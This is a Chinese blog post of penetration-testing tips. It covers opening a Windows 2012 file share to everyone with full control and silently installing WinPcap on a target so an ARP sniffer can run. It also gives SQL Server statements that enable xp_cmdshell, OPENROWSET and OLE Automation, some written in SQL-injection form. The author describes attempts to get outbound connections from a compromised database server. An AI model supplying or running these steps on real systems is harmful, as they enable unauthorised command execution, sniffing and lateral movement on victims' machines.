zoukankan      html  css  js  c++  java
  • 关于渗透的小技巧整理

    1、win2012下面访问文件共享的方法,由于2012只能通过administrator用户才能访问\10.100.2.19c$,其它管理组用户只能通过下列方式来访问:

    mkdir c:temp
    net share temp=c:	emp /GRANT:everyone,FULL //将c:temp共享为temp
    访问:\10.100.2.19	emp //test11/12345678
    net share temp /del /y

    2、命令行下安装winpcap的方法:用官方的winpcap是不行的。但是今天我发现用nmap里自带的winpcap-nmap-4.02.exe居然可以。哈哈。参数是winpcap-nmap-4.02.exe /S,然后再用你给我的那个命令行下的arp嗅探工具就行了。这样就不必需要每次都3389安装winpcap了。

    3、SQL2005-2012开启选项的一些方法整理:
    sql server 2005下开启xp_cmdshell的办法

    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
    //关闭一样.只是将上面的后面的那个"1"改成"0"就可以了:
    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;

    sql2005下,xp_cmdshell、sp_oA的开启方法我查到资料了,我都已经开启了,浏览器返回正常,执行命令不会再出现权限错误,但是执行“sp_oA”时会出现超时提示,执行“xp_cmdshell“时,本地监听无反应,这些我在提问贴里已经说明了,不知道是不是防火墙阻止了ping、tftp 和telnet的对外连接,我实在是找不到好的得到这个SQL2005的IP的办法了.
    SQL2005开启'OPENROWSET'支持的方法:

    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
    exec sp_configure [show advanced options],1;RECONFIGURE;exec sp_configure [Ad Hoc Distributed Queries],1;RECONFIGURE;--
    ;exec sp_configure "show advanced options", 1;RECONFIGURE;exec sp_configure "Ad Hoc Distributed Queries",1;RECONFIGURE;--

    SQL2005开启'sp_oacreate'支持的方法:

    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
  • 相关阅读:
    单选框和复选框(radiobox、checkbox)
    三种alertconfirmprompt弹窗的处理方法
    iframe的切换
    python的class(类)中的object是什么意思?
    loadrunner12自带的机票预订服务,解决httpd: Could not reliably determine the server's fully qualified domain name 问题
    使用错误的用户名和密码也能运行通过
    win10删除IE某些文件导致不可用恢复的方法
    win10系统删除需要Trustedlnstaller权限的文件
    loadrunner各版本对应的ie浏览器版本
    vue之vue-router加深印象
  • 原文地址:https://www.cnblogs.com/pt007/p/11860898.html
Copyright © 2011-2022 走看看